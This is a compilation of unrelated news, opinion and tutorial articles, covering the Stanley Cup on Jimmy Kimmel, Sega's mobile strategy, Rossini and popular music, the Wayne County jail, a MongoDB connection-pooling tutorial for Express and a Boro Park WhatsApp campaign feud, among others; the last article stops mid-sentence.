On “Jimmy Kimmel Live,” the current keeper of the Stanley Cup — Hockey Hall of Fame curator Phil Pritchard — showed up with the Cup and L.A. Kings players Alec Martinez and Justin Williams. After finding out that the Cup has been mountain climbing, canoeing, and even on a Sea-Doo, Kimmel decided to see what they could and couldn’t do with it. Also read: Los Angeles Kings Stanley Cup Victory Has Hollywood All A-Twitter One of the perks of being the Stanley Cup Champions is that each player gets to spend a day with the Cup itself. That doesn’t mean they get to do whatever they want with it, though — the “keeper of the cup” is always standing by to make sure the Cup is taken care of and remains in tact. See video: New York City Mayor Bill De Blasio Sings ‘I Love LA’ on ‘Jimmy Kimmel Live’ It’s probably a good thing Kimmel wasn’t on the team, as the majority of his ideas were shut down immediately. He couldn’t wash a dog in it, nor could he play it like a bongo, steam vegetables or stick it on his car like a hood ornament. But when he asked if they could make a margarita in it, he got a green light from Pritchard. Guillermo was prepared, wheeling out a cart with drink fixings. Kimmel provided his own bottle of tequila, which he emptied into the Stanley Cup as Guillermo and the guys prepared the other ingredients. See photos: Hollywood Gets Hockey Fever as the LA Kings Close in on the Cup Then, with giant novelty straws, they got to enjoy a very strong, very salty margarita out of the Stanley Cup. That’s probably only the first of many crazy adventures the Cup will have as the year progresses and it makes its way through the Kings lineup.

Social protection is now being promoted by international organizations in order to further reduce poverty in developing countries whereas, in Northern countries, social protection is being dismantled. We are witnessing a paradigmatic change giving a new, neoliberal, meaning to social protection. Basic income is often proposed as an alternative, aimed at giving all individuals, unconditionally, an income that allows them to live in dignity. However, can citizenship be compatible with unconditional social benefits? In this contribution, I analyze both proposals and I search for ways to combine them. This implies we re-think social protection, for the North as well as for the South, away from neoliberalism. Framed in terms of ‘social commons’, social protection could become a tool for systemic change, based on rights and inspired by the philosophy of ‘buen vivir’.

Sega’s been awfully quiet about making noise in mobile and digital. They’re obviously active in both spaces, but we never seem to hear much about it. Or maybe that’s just us not doing our jobs. We recently interviewed two executives from the online and digital sides to find out where the company is at during this console transition and recent boom in mobile, and they were quick to point out their big successes there (naturally). But they also recognize the huge challenges that still face them. How does a once-king in hardware — remember the Sega Genesis, Saturn, and Dreamcast? — deal with this new age of too many platforms? Senior director of digital marketing Mike Evans and director of online operations Ethan Einhorn sit down with GamesBeat to discuss. Image Credit: Sega GamesBeat: We’re in this transitional period where traditional consoles are still coming out, but the market doesn’t look anything like it used to. Sony’s main competition for consumer dollars and time may not be Microsoft but perhaps Apple instead. How does Sega view the market right now? Who are your consumers? Mike Evans: It’s a good question. Our audience is really all over the place. You have an audience that exists on the console platforms, for sure. Sega is still very much part of that picture. Then we have our audience who may also play on console but who exist on the mobile devices, who exist on tablets, who exist on PC. For Sega, rather than us defining a particular platform, what we’re trying to do is make sure that we can get our content out to all the places where our consumers exist. That’s key. You’re absolutely right. The market has changed fundamentally. But it’s also a really exciting place to be. Sega has been making mobile games since the feature phone days and at the forefront of the smartphone since 2008. Where the platforms are emerging and where there’s demand from consumers, Sega is going to be there. Ethan Einhorn: We’re taking, on the console side, more of a pillar approach. We’re doing some very exciting things with Sonic as a brand in the near future. We’re also very heavily focused on strategy, as you’ve seen with our pickup of [Company of Heroes developer] Relic, as well as what we’re doing with [Total War developer] Creative Assembly. Of course, we’re continuing to do core titles like Aliens: Colonial Marines. But as Mike was saying, we’re trying to appeal to our customers on any platform where they want to play. Mobile opens up the opportunity to allow us to go from a $60 price point to a price point of zero. What’s been interesting for us is to see who within Sega has been interested in moving into that mobile space. For instance, the head of R&D for Sega Games Network is Masayoshi Kikuchi, who was the director of Jet Set Radio. The person who is currently directing Kingdom Conquest II [also] directed Typing of the Dead. A lot of these classic Dreamcast-era designers are bringing their experience to bear now in the mobile space. GamesBeat: When you say you want to capture this wide range of potential gamers, would that include the purely mobile, casual, play-a-few-minutes-at-a-time Angry Birds crowd? Evans: Absolutely. We have games that service all different types and sets of consumers. Some [intellectual properties] lend themselves to maybe a younger audience. Some IPs are more classic in their stance; some maybe appeal to a more mature audience. We have titles like House of the Dead. That’s probably an example of a mature game. Then Sonic, which has been kind of reinvented. We’re bringing that to the Android platform. That’s an example of something which might skew slightly younger, as well as have this more classic base. Einhorn: Sonic Dash, which is popular right now on the top charts, is another great example of appealing to a more casual demographic. But again, within that same ecosystem we have Kingdom Conquest II, which is extremely core. Both of those comfortably coexist at the same publisher.

You don’t have to be a classical music lover to recognize names of important classical composers. Bach Beethoven Brahms Wagner Liszt Rossini Except that the music of Rossini and others was considered popular music when it was first heard. And people who liked classical music scorned it. One French writer divided musicians into two kinds: classicists and Rossinists. So what else that we think of as classical music used to be considered popular? And what changed? Classical vs popular music In The Birth of the Popular Music Industry I noted that throughout much of the 18th century, there was no distinction between popular and classical. Some people liked music they could fully grasp at first hearing. Others liked music whose beauty would reveal itself only after repeated hearing. They all attended the same concerts. The first group soon tired of hearing the same pieces too often. They wanted to hear something new, but not radically new. The second group especially appreciated the sophisticated music of Mozart, Haydn, and Beethoven. Concert life ceased entirely in Paris and London in the 1790s and didn’t reappear for about 20 years. Composers or performers of concertos could hire theater orchestras in Vienna, but they played badly. No other cities in Europe had enough influence to put their resident composers on the international stage. By the time concert life revived in these capitals, Haydn and Mozart were dead. There was no logical successor to Beethoven. After all, why would anyone learn to compose that kind of music? They couldn’t get it heard with no concert life. Twenty years later, mass audiences no longer remembered how to listen to that music. New piano music Mozart and Beethoven were piano virtuosos. Mozart made much of his living from playing concertos with orchestra. Beethoven did, too, until he lost his hearing. How could piano virtuosos make a living without access to an orchestra? They taught and performed in the homes of rich people. Aristocrats and the upper middle class opened their homes to an invited public to listen to famous performers. Once France recovered from the Revolution, Paris became the center for virtuoso pianists. Superstars like Henri Herz, Frédéric Kalkbrenner, and Johann Peter Pixis. As much businessmen as musicians, these pianists composed a flood of new pieces. They counted on their fame as performers and teachers to sell the sheet music. William Weber has called this kind of music “high status popular music.” The virtuoso’ playing and their compositions offered dazzling performance technique. It did not display imaginative use of form, melody, or harmony. And of course, the sheet music was much less difficult to play than what the composers played in the salons. They intended to appeal to mass taste rather than to connoisseurs. Mass taste demands both familiarity and novelty. Making a profit from it demands a product with a short shelf-life. Business considerations demand new popular music be enough like last year’s to be comfortable. It also has to be enough different to make what’s more than a year or two old seem faintly old-fashioned. Not all popular virtuosos served up empty music. Classical-leaning critics like Robert Schumann recognized Sigismund Thalberg, Frédéric Chopin, and Franz Liszt as worthy composers. Chopin’s and Liszt’s music has made it to the classical canon. Opera At about the same time, Paris became the operatic capital of the world, not only for opera in French, but opera in Italian. No Italian composer could be counted as truly successful even in Italian theaters without first having achieved recognition in Paris. Unlike symphonies, sonatas, and other “classical forms,” no one considered opera “art” until Wagner. It was theater—musical theater. It was culturally comparable to Broadway musicals. Except that everywhere but Italy and France it was nearly always in a foreign language. Italians attended only to Italian opera. The French had a choice of Italian or French opera. German-speaking countries had some German opera, but it was never a popular as Italian or French opera. And the English? English opera between Purcell and Britten hardly existed except as translations of Italian opera. In that guise, spoken dialog replaced the recitative. Opera had been a business since the first commercial opera house opened in 1637. But it had always appealed to the aristocracy. In early 19th-century Paris, composers like Rossini and Meyerbeer quickly learned how to appeal to a mass audience. Those who loved the older operas lamented the deficiencies of these new composers. They claimed that the popular composers plagiarized themselves. They wrote the same empty formulas over and over again. All their music sounded alike. Classical music lovers despised Rossini in particular because he wasn’t an especially good composer. He stopped his musical education when someone told him he knew enough to compose operas. He never learned counterpoint. His writing is full of mistakes and barbarisms that really bothered anyone who knew or cared about the craft of composition. A mass audience has never cared. Some popular music becomes classical Beethoven had no immediate successors, but a younger generation of composers like Mendelssohn, Schumann, and Berlioz acquired thorough musical education. They started to write the same kinds of music as the classical masters. They had plenty of orchestras that could play it. They had plenty of orchestras that could play it. And so the “classical” repertoire began to expand. At the same time, the emptiness of so much “high-status popular music” began to lose popularity. Rossini’s operas also began to disappear from opera houses. Hardly anyone performed any Rossini operas except The Barber of Seville from then until the 1950s. But the overtures found a place in orchestral concerts. One of many ironies in Rossini’s life: he hated writing overtures and went to great lengths to avoid the chore. Lizst moved his base of operation from the salons to the concert halls when he started giving what he called recitals. Other virtuosos like classicist Clara Schumann soon followed suite. One of Liszt’s admirers challenged him to start performing Beethoven’s music on his recitals. So he did. His own compositions became more serious and less dazzling. But he still didn’t write in classical forms. He no longer specialized in piano solo music, either. He started composing songs, choral music, and orchestral music. And he started some bold harmonic experiments. Liszt’s new music influenced a whole generation of classical composers. But all those operatic paraphrases and variations on songs that remain in the repertoire? They were his high-status popular music. Source: Music and the middle class: the social structure of concert life in London, Paris, and Vienna / by William Weber (New York: Holmes & Meier, 1975) All images are public domain.

Wayne County is moving forward with plans to complete its unfinished jail in downtown Detroit after reaching a settlement with the original design engineers and architects and hiring a consultant to oversee the project. Still up in the air is an effort by businessmen Tom Gores and Dan Gilbert to build a soccer stadium at the 15-acre site on Gratiot Avenue at I-375. On Thursday, the Wayne County Commission approved a settlement with Detroit-based AECOM and Dearborn-based Ghafari Associates LLC, which provides the county with a $2.5 million payment from the two firms, ownership of all design documents and dismissal of all counter claims against the county and the building authority. In addition, the county approved a nearly $4 million contract with Carter Goble Associates, which will serve as the county's owner representative on the jail project. In December, the county entered into an interim settlement agreement with AECOM and Ghafari, requiring concept plans and cost estimates to complete the jail, along with a road map for completion. After discussions with Carter Goble Associates, the administration recommended approving the current settlement agreement instead of the interim settlement agreement. "The commission's decision to approve the settlement agreement with AECOM and Ghafari puts us one step closer to removing the eyesore that the unfinished jail site has become," Wayne County Executive Warren Evans said in a news release. "Now that we have settled with AECOM and Ghafari, we can focus on completing the Gratiot jail; the next step is preparing and then issuing a design/build RFP." Construction of the $200 million, 2,000-bed jail began in 2011 under County Executive Bob Ficano. Work was stopped in June 2013 because of about $100 million in cost overruns and corruption charges. South Carolina-based Carter Goble Associates offers services, including developing and issuing design/build RFPs, reviewing RFPs and contractor selection, reviewing project plans and managing the project budget, according to the release. The release also states one of major problems in the construction of the jail was the county's failure to have a consistent and conflict-free owner's representative overseeing the jail project. Evans said Thursday that until the design/build RFP process is complete and a bid has been received, he will cooperate with Gilbert and Gores in exploring alternative sites for the jail. The county will not use any of its funds to explore alternative options. In April, a day after Gilbert and Gores announced plans to bring a Major League Soccer team to Detroit, Gilbert and Arn Tellem, chairman of Gores-owned Palace Sports & Entertainment, held a news conference that showed plans for a professional soccer stadium at the 15-acre jail site on Gratiot Avenue and I-375. Major League Soccer hasn’t made a commitment to Detroit, but said it is one of seven cities being considered as the league expands. At the time of the news conference, Evans said the total cost for completing the half-built jail site was still being finalized. He said a requirement he would have for the Gilbert-Gores project moving forward is that the county would get a new jail without additional costs to the taxpayers. Evans also requested a reasonable offer for the site be received by the late summer or early fall. Gilbert bid $50 million for the site in 2013 when the county sought private alternatives for the land after it determined it didn't have the money to finish the jail, but county officials denied the proposal eventually because of the amount of time and money it already invested in the project.

Around 8:15pm on Tuesday evening, screenshots emerged online which indicated that Justin Bieber liked a video of Donald Trump's on Instagram. You could be forgiven for thinking that all those words have nothing to do with politics, but let's carry on regardless because it's 2016. Bieber has 78m Twitter followers and 64m Instagram followers and is therefore a big social media influencer. Which makes it no bad thing for Donald Trump if he's seen to have liked a Trump political broadcast. A screengrab, caught by JustinBieberTracking, appeared to show exactly this... ...although it appears that Biebs may have subsequently unliked the video, which implored Wisconsin voters to “Make America Great Again", since he appears to no longer 'like' it. Bieber doesn't follow Trump on Instagram, and it is also possible that the screenshot could be a fake. There have, however, been numerous different screenshots of the 'liking', which suggests it did indeed occur. Whether Bieber's apparent endorsement will translate to votes is unknown, but it surely can't hurt the heir-apparent for the Republican nomination to have one of the world's biggest celebrities seemingly on board.

These are stories Report on Business is following Tuesday, April 9, 2013. Follow Michael Babad and the Globe's top business stories on Twitter. Bitcoin surges Bitcoin, the digital currency that has become a global phenomenon, reached an all-time high today, topping $200 (U.S.). Story continues below advertisement It went as high as $240.11 at one point. As The Globe and Mail's Omar El Akkad writes, Bitcoin has become an Internet sensation, suddenly surging in value four years after its birth. Just to illustrate how far it has come, one Bitcoin was worth about just $9 two years ago, and is now being talked about by those in the currency trade, among others. Of late, this currency has been gaining as the euro crisis rears its ugly head again. Now, of course, there are questions over whether it's in bubble territory. What to make of this? "You can think of Bitcoins like the suburbia of Toronto, with the crucial difference that the land isn't real and the government steps in to limit the supply the more investors apply," said Sébastien Galy of Société Générale. "The difference is that instead of taking years for that boom-and-bust process to happen it is happening at an incredibly rapid pace," Mr. Galy added. Story continues below advertisement Story continues below advertisement "Another way to look at it, is Germany post World War I where the absence of manufacturing supply and imported goods meant that lots of moneys helpfully supplied by the central bank was chasing a very limited supply." As to its frothy nature, Mr. Galy said something's a bubble only when it pops but "it has characteristics of one, it would be safe to assume." As an asset, said Justin Fox, editorial director of the Harvard Business Review Group, Bitcoin "is clearly in a bubble," and has been so always. Though looking at asset pricing may be the wrong approach in this case, he wrote today on the group's blog. "A dollar bill lays claim to no stream of future earnings, yet nobody says there's a 'dollar bubble' because somebody's willing to give you a candy bar for one," he said. "This even though a dollar is almost certain to buy you less in a few years than it does now. According to the Bureau of Labor Statistics, a 2013 dollar has one-tenth the purchasing power of the 1950 version." Bitcoins, in turn, have surged. Story continues below advertisement "This sounds like a good thing, but for a currency it's really not," Mr. Fox said. "An economy where bitcoins were the means of exchange would have experienced 98-per-cent deflation over the past year. No one would be able to repay any loans, or really do business at all. What we want out of a currency is not price appreciation but stability." As Mr. Fox put it, it "kind of makes your head hurt" to think about it. Bitcoins have no "intrinsic value" as an asset, though they've climbed too sharply to be used as money. Look more like the rise in gold? Sure, but has "not been the greatest of assets" for investing over time and isn't "the greatest of currencies," for that matter, though it has kept its buying power. Of course, Mr. Fox added, gold can make stuff, like jewelry. Story continues below advertisement And then there's the "crucial" similarity. "Unlike dollars, which can be created at will by the Federal Reserve, the supply of both bitcoins and gold is determined by forces outside the control of elected or appointed government officials," said Mr. Fox. "Given the long history of governments debasing their currencies to the point of worthlessness, the limited-supply, non-governmental nature of gold and of Bitcoins has its attractions." You can invest in Bitcoins, or sell what you've got, among other things. One man says he sold a 2007 Porsche for 300 Bitcoins. "You can't lend them yet or leverage at this point," said Mr. Galy. "It will come, though." RBC's Nixon on outsourcing issue Royal Bank of Canada's chief executive officer says the incident involving the outsourcing of technology jobs has been overblown and does not reflect RBC's policy. Story continues below advertisement "We work very hard as an institution to ensure that we put a very high priority on Canadian jobs," he told the CBC today. "I think our track record when it comes to things like outsourcing is very good. Our record is very impressive. Agrium defeats challenge Agrium Inc. today beat back a challenge from dissident shareholder Jana Partners as investors backed the agribusiness giant's board of directors slate, The Globe and Mail's Boyd Erman and Kelly Cryderman report. The vote illustrated "the overwhelming support for Agrium and its integrated strategy," said chief executive officer Mike Wilson. Jana had believed it had enough votes to get two directors on the board. Porter expected to unveil deal Porter Airlines Inc. is expected to announce an order for as many as 30 of Bombardier Inc.'s C Series aircraft, according to the Wall Street Journal. Story continues below advertisement The announcement could come as early as tomorrow, and would make Toronto-based Porter the first Canadian carrier to buy the mid-range aircraft, The Globe and Mail's Bertrand Marotte writes. Construction cools Canada's homebuilding industry is cooling off, but still holding up. Housing starts climbed 0.4 per cent in March to an annual rate of 184,000, better than expected, though that was driven by construction in rural, rather than urban, areas, Canada Mortgage and Housing Corp. said today. Separately, Statistics Canada reported that building permits, which can be volatile, rose 1.7 per cent in February, although it was driven up by the non-residential sector. "Canadian homebuilding activity has been on a decidedly downward trend since peaking in the first half of 2012 and the six-month moving average of Canadian housing starts (which the CMHC refers to as the 'trend' rate) declined to 189,700 annualized units in March, its lowest level since June 2011," said economist David Onyett-Jeffries of Royal Bank of Canada. "The moderation in homebuilding is consistent with our view that the housing market is experiencing a gradual cooling from the elevated levels of activity seen in 2012." Streetwise (for subscribers) Economy Lab ROB Insight (for subscribers) Personal finance Business ticker

A man fell into a wood chipper and was killed Monday in Davie in an accident people at the scene called "horrifying." Now, police have released the man's identity. NBC 6's Christina Hernandez reports. (Published Tuesday, June 24, 2014) Police ID Man Who Died After Falling Into Wood Chipper A man fell into a wood chipper and was killed Monday in Davie in an accident people at the scene called "horrifying." A worker landscaping all day near Southwest 57th Street and Pine Island Drive in Davie fell into the teeth of his wood chipper. On Tuesday, Davie Police identified the man as 42-year-old Hernan Gutierrez of Hallandale Beach (photo below). Gutierrez's whole body was pulled in through the wood chipper, and the aftermath took a toll on residents and law enforcement. Man Dies After Falling Into Wood Chipper A worker in Davie died Monday when he fell into a wood chipper and his body went through the machine. (Published Monday, June 23, 2014) “I didn’t know what to do, and then a few minutes later, I hear all these sirens,” resident Joseph Horta told NBC 6's Jamie Guirola. “It was a little bit horrifying.” “This isn’t something you see every day,” said Davie Police Captain Dale Engle. “It’s not something you can just go home and forget about.” Man Dies After Falling Into Wood Chipper A man is dead after police say he fell into a wood chipper in Davie. NBC 6's Jamie Guirola reports. (Published Monday, June 23, 2014) The man was dead when rescue workers arrived, and Davie Police had to delicately clean the scene and collect the victim's remains. “I’ve never seen anything like this,” Captain Engle said. “This is a gruesome scene.” One of the workers with the victim said he knew Gutierrez but declined to talk about the accident. Police believe the man's death was the result of a work accident. OSHA was also brought to the scene of the accident and promised more information later. According to OSHA, from 2000 to 2013, there were 11 wood chipper deaths in the United States, none of them in the state of Florida. “I think it’s sad, very sad,” said resident Linda Simmons. “Guys were working really hard trying to make a living, and he just made a mistake, I guess.” Copyright Associated Press / NBC 6 South Florida

Some 40 years ago, Prince Philip visited the South Pacific island of Vanuatu with his uncle, Lord Montbatten. The visit was largely unremarkable, except in one key way: a religious sect was born that views Philip as their god. Matthew Baylis recently chronicled that visit and the religion, which thrives even 40 years later, in his new book "Man Belong Mrs. Queen: Adventures with the Philip Worshippers." "They had a jolly old time. They wore hawaiian shirts, they swam in lagoons, they took part in rituals. They sat on plastic chairs with 'throne' chalked on them. They rubbed noses with Tahitian lovelies," Baylis said. Baylis grew up in the Liverpool area, some 9,800 miles away from Vanuatu. But he, too, was fascinated by the Duke of Edinburgh, even hanging up a poster of the Prince on his bedroom wall. When he was an anthropology student, he traveled to the South Pacific island nation to find out why the prince generated so much interest. "In general, they [Prince Philip and Lord Montbatten] showed themselves to be very, very different from the colonial officials of which the people of that area had had the most experience," he said. "They showed themselves to be easy going, rough and ready, all-action guys and that's exactly the kind of man who they most admire in that part of the South Pacific." Why Prince Philip? Baylis said the prince's visit coincided with the island's preparation for independence from the French and the British. "People were casting around for allies, in the turmoil in these pre-independence years," Baylis said. The village of Tanna "felt it needed a symbolic and significant relationship with some sort of outside power in order to help them. So, at the same time that Prince Philip was there being a rough-and-ready, all-action kind of guy, these people were thinking 'we need to find someone who can be a patron and a figurehead for us.'" And thus, a movement was born. As a whole, said Baylis, the South Pacific islanders view foreign visitors in a very significant way. For example, on the island of New Hanover in Papua New Guinea, the islanders revere President Lyndon Johnson, whom they invited to represent them in Parliament. "It was a quite deliberate slap in the face to the Australian authorities who were ruling the area quite badly," Baylis said. Baylis said the Tanna village holds a ceremony annually to honor Prince Philip and even has a shrine dedicated in his honor. The prince has played into his role. The village has three signed photographs of the prince, as well as a number of letters, Baylis said. The Duke of Edinburgh may not be not the most likeable member of the royal family, but that hasn't deterred the people of Tanna. "They have a perfect explanation for it," Baylis recalled. "When I was there, I sort of said, 'you know, he's not tremendously popular in Britian,' and they said, 'yes, exactly, that's because he's from Tanna!'"

Today is any given Sunday in the heart of the off-season. The most important sports going on today are the remaining college basketball conference championship games. But what if the Raiders had to put a team on the field today? What would it look like? The next time the Raiders have to put a team on the field is a good five months from now. And that's good because it would be a difficult bordering on impossible idea to try and field a team right now. But just for the fun of it, let's look at what that team would look like. Offense Defense: *Jacoby Ford will be the team's slot receiver **Team has discussed trying him at corner but as of now he is still a running back. ***Still on roster but expected to be released. ****If team makes switch to 3-4, Burris would also be a starter. Specialists P Marquette King K Sebastian Janikowski LS Jon Condo KR Jacoby Ford Coye Francies PR Phillip Adams Denarius Moore ERFA= Exclusive Rights Free Agent That adds up to 54 players on the roster if you include the four Exclusive Rights Free Agents who were on the active roster at the end of last season. Figure Rolando McClain would be inactive even if he were on the roster and the Raiders have just enough players to make up a 53-man roster. Not the ideal 53-man roster, but 53 warm bodies none the less. They are allowed 90 players in training camp so this chart will change quite a bit between now and then.

Express is the most popular Node.js web framework and the fourth most depended-upon package on the NPM registry. As a result of its popularity, there are an abundance of tutorials and examples for getting started with new Express apps - we too have created a "getting started" MEAN stack tutorial for the Heroku DevCenter. However, "getting started" apps generally don't show you how to handle the more serious parts of real-world systems. In this post we are going to demonstrate how a production Node.js application might connect to multiple MongoDB databases. Our example will demonstrate how to create a single connection pool to a MongoDB deployment and how to structure an Express app to reuse that pool across multiple modules. You can find the code for this example here: https://github.com/mlab/express-mongodb-setup Update 2018-03-07: This tutorial has been updated for version 3.0.4 of the mongodb driver. You can see a previous version of the code for this example on GitHub. What is a connection pool and why is it important? A connection pool is a cache of authenticated database connections maintained by your driver, from which your application can borrow connections when it needs to run database operations. After each operation is complete, the connection is kept alive and returned to the pool. When properly used, connection pools allow you to minimize the frequency of new connections and the number of open connections to your database. It's important to minimize the frequency and number of new connections to the database because creating and authenticating connections to the database is expensive - these processes require both CPU time and memory. When we reuse connections by using a connection pool we avoid this resource cost to the server, and also benefit from lower latency since the app doesn't need to wait for an authentication to finish before a query can be sent. The default pool size in the Node driver is 5. If your app typically needs more than 5 concurrent connections to the database, you can increase the value of the poolSize setting. Common mistake in connection management for Express apps A common mistake developers make when connecting to the database is to call MongoClient.connect() in every route handler to get a database connection. For example, code like this: app.route('/foo', (req, res) => { MongoClient.connect('url', (err, client) => { ... }) }) app.route('/bar', (req, res) => { MongoClient.connect('url', (err, client) => { ... }) }) will create 5 connections to MongoDB for every request, including concurrent requests to the same route. Connection counts can quickly skyrocket with this approach. Example for connection pooling in an Express app For our example we'll implement database connection pooling for the recommended Express project structure (as outlined by the Express app generator). Our example has the following structure: |-- README.md |-- app.js |-- dbs |-- index.js |-- routes |-- index.js The app.js file is the main file which starts the app. Inside dbs/index.js is our database connection logic, and inside routes/index.js is our request routing logic. We use the index.js file naming convention because it allows parent modules the ability to import the module by its directory name, the index.js file is implicitly found. For example, later you'll see we require the dbs module with require('./dbs') , rather than require('./dbs/index.js') . Set up database connections We'll first start with creating and managing database connections in the dbs/index.js file. const MongoClient = require('mongodb').MongoClient // Note: A production application should not expose database credentials in plain text. // For strategies on handling credentials, visit 12factor: https://12factor.net/config. const PROD_URI = "mongodb://<dbuser>:<dbpassword>@<host1>:<port1>,<host2>:<port2>/<dbname>?replicaSet=<replicaSetName>" const MKTG_URI = "mongodb://<dbuser>:<dbpassword>@<host1>:<port1>,<host2>:<port2>/<dbname>?replicaSet=<replicaSetName>" function connect(url) { return MongoClient.connect(url).then(client => client.db()) } module.exports = async function() { let databases = await Promise.all([connect(PROD_URI), connect(MKTG_URI)]) return { production: databases[0], marketing: databases[1] } } To use the dbs module, you might write some code like this: const initDatabases = require('./dbs) initDatabases().then(dbs => {....}) The initDatabases function call initializes database connections and makes the connections accessible via the dbs variable. You could also create a module for other application startup tasks such as connecting to third party APIs or loading data or configuration. Note: Following 12-factor methodology, rather than storing connection strings in code you should use config variables. Reuse database connections in routes (or other app) files With the logic written for establishing connections at app startup, we now need to structure the routing logic so their handlers can use those existing connections. We need a strategy in code to reuse database connections in the routes module ( routes/index.js file). We can't just call require('./dbs') again in this file, as that would create a second connection pool. We also need a reference to the Express app created in app.js , but we can't use require('../app.js') because app.js requires the routes module and circular dependencies should be avoided wherever possible. Instead, our module will expose a function which takes the Express app and databases as parameters. The parent module that imports this file can then be responsible for finding those values and making them accessible to the module. The technical name for this pattern is "Dependency Injection", as a parent module injects the values that another module depends on. Let's take a look at how it works in practice: module.exports = function(app, dbs) { app.get('/production', (req, res) => { dbs.production.collection('test').find({}).toArray((err, docs) => { if (err) { console.log(err) res.error(err) } else { res.json(docs) } }) }) app.get('/marketing', (req, res) => { dbs.marketing.collection('test').find({}).toArray((err, docs) => { if (err) { console.log(err) res.error(err) } else { res.json(docs) } }) }) return app } The route definitions are established in exactly the same way as other Express apps, but the app and the database references are injected by the parent module when the module is loaded. Tie the "routes" and "dbs" modules together in the main app module We can understand how the routes and dbs modules are tied together by looking at our app.js code. Our app code: Initializes an Express app Uses the dbs module to create connection pools to our databases Passes both dbs and app modules into the routes module Starts the app on port 3000 only after the routes module configures the app's route handlers const express = require('express') const app = express() const initializeDatabases = require('./dbs') const routes = require('./routes') initializeDatabases().then(dbs => { // Initialize the application once database connections are ready. routes(app, dbs).listen(3000, () => console.log('Listening on port 3000')) }).catch(err => { console.error('Failed to make all database connections!') console.error(err) process.exit(1) }) Using this structure, our app will maintain and reuse a single connection pool to each database. This reduces pressure on the database caused by creating and authenticating new connections or by maintaining multiple unused connection pools. As an added performance and latency benefit, reusing existing connection pools allows the application to quickly retrieve database results without having to go through the connection creation and authentication process each time. If you have questions or thoughts please email our team at support@mlab.com for help!

A common narrative in the political and cultural discussions of reproductive health focuses on reducing the number of abortions taking place every year. It’s supposed to be one thing that those who support abortion rights and those who oppose abortion can agree on, the so-called common ground. The assumption is that we can all agree that abortion itself is a bad thing, perhaps necessary, but definitely not a good thing. Even President Clinton declared (and many others have embraced) that abortion should be safe, legal and rare. According to the Guttmacher Institute, almost half of all pregnancies among American women in 2005 were unplanned or unintended. And of those, four in 10 ended in abortion. (http://www.guttmacher.org/pubs/fb_induced_abortion.html#1) In other words, between one-fifth and one-quarter of all pregnancies ended in abortion. Without any other information, those statistics can sound scary and paint a picture of women as irresponsible or poor decision-makers. Therefore reducing the number of abortions is a goal that reproductive health, rights and justice activists should work toward, right? Wrong. Those numbers mean nothing without context. If the 1.21 million abortions that took place in 2005 (http://www.guttmacher.org/pubs/fb_induced_abortion.html#1) represent the number of women who needed abortions (and in my opinion, if a woman decides she needs an abortion, then she does), as well as the many women who chose to terminate pregnancies that they very much wanted but could not afford to carry to term, then that number is too high. The work of reducing the number of abortions, therefore, would entail creating an authentically family-friendly society, where women would have the support they need to raise their families, whatever forms they took. That could include eliminating the family caps in TANF, encouraging unionization of low-wage workers, reforming immigration policies and making vocational and higher education more accessible. On the other hand, if those 1.21 million abortions represent only the women who could access abortion financially, geographically or otherwise, then that number is too low. Yes, too low. If that’s the case, then what is an appropriate response? How do we best support women and their reproductive health? Do we dare admit that increasing the number of abortions might be not only good for women’s health, but also moral and just? What if we stopped focusing on the number of abortions and instead focused on the women themselves? Much of the work of the reproductive health, rights and justice movements would remain the same. We would still advocate for legislation that helps our families. We would still fight to protect abortion providers and their staffs from verbal harassment and physical violence. What would change, however, is the stigma and shame. By focusing on supporting women’s agency and self-determination, rather than judging the outcomes of that agency, we send a powerful message. We say that we trust women. We say we will not use them and their experiences as pawns in a political game. We say we care about women and want them to have access to all the information, services and resources necessary to make the best decisions they can for themselves and their families. That is at the core of reproductive justice. Not reducing the number of abortions. Safe – yes. Legal– absolutely. Rare – not the point. Get the facts, direct to your inbox. Subscribe to our daily or weekly digest. SUBSCRIBE

Earlier today, Assemblyman Sean Ryan, who has been a leading proponent of downgrading The Scajaquada Expressway, made an announcement that additional traffic calming measures would commence soon enough. After meeting with Phil Eng, the Chief Engineer at the Department of Transportation (DOT), it was decided that the 30mph speed limit would remain permanently in place. Along with the change in speed, Ryan has proposed that the classification of the roadway be changed from a Principal Arterial Expressway to an Urban Minor Arterial. The change must be met with Federal approval. In the meantime, the DOT will be moving forward with interim traffic calming measures and studies that include the addition of traffic lights, crosswalks, speed bumps, and re-painting of the roadway. These will all help to contribute to the permanent downgrading, from a high speed thoroughfare into a slower moving boulevard. The DOT will be looking into commencing additional traffic studies this summer. Assemblyman Sean Ryan said “While our goal is to see the Scajaquada downgraded to a parkway, we must first take interim steps to adjust traffic to the new 30mph speed limit. The DOT understands this issue, will move expeditiously to implement these traffic calming measures. I thank the DOT for agreeing to move forward and study where the traffic calming measures will be placed, in order to maximize their effectiveness. After we are done with the interim actions, we must devote our attention to converting the expressway into a parkway. The DOT will need to present a plan to make that happen, and I will stay on top of this to ensure that a plan is presented to the community as quickly as possible. Once again, I would like to thank Governor Cuomo and his team for working so diligently to improve safety on the Scajaquada.” A traffic circle was taken off the table where Parkside meets the 190. It would be great to see the DOT reexamine the possibility of bringing the circle back into play now that so many other traffic calming measures are in place. The traffic circle could be dedicated to the memory of the young boy who lost his life, and the family that suffered such a tremendous loss. Lead image: Ryan was joined by Buffalo Common Council Member Michael LoCurto, Justin Booth, Executive Director of GOBike Buffalo, Amber Small, Executive Director of the Parkside Community Association, Michael DeLuca, Chair of the Parkside Community Association Traffic Committee, Kerri Machemer, founder of Parents for a Safe Delaware Park Community, Stephanie Crockatt, Executive Director of the Buffalo Olmsted Parks Conservancy, and Brian Dold, Landscape Designer at the Buffalo Olmsted Parks Conservancy.

A vicious underground social media war is rocking a City Council race in the Brooklyn ultra-Orthodox neighborhood of Boro Park — and the nastiest blows are in Yiddish. Waged largely on private WhatsApp groups, the fight between Kalman Yeger and Yoni Hikind is largely hidden from the general public. The combatants are largely anonymous, with no official ties to the two campaigns. The result is cross between a hip hop beef and a meme war, with partisans trading diss tracks and web videos that bash the other side without any accountability. “This is possibly one of the most nasty and personal campaigns I’ve seen,” said Michael Fragin, an Orthodox political analyst. Yeger partisans have anonymously drawn attention to Hikind’s unmarried status, which is unusual among Orthodox Jews of his age. Meanwhile, Hikind supporters passed on false claims that the progressive Palestinian activist Linda Sarsour is backing Yeger, which she has denied. WhatsApp An anonymous pro-Yeger meme circulated on Boro Park WhatsApp groups. Share Pinterest Email “The WhatsApp has taken over the political discourse,” said Jacob Kornbluh, a member of the Boro Park community who works as a political correspondent for the news website Jewish Insider. “The campaigns feel that in order to drive the message, they have to invest in this… You can never trace to where it came from.” The campaign is the latest proxy skirmish in the long-running feud between outgoing City Councilman David Greenfield 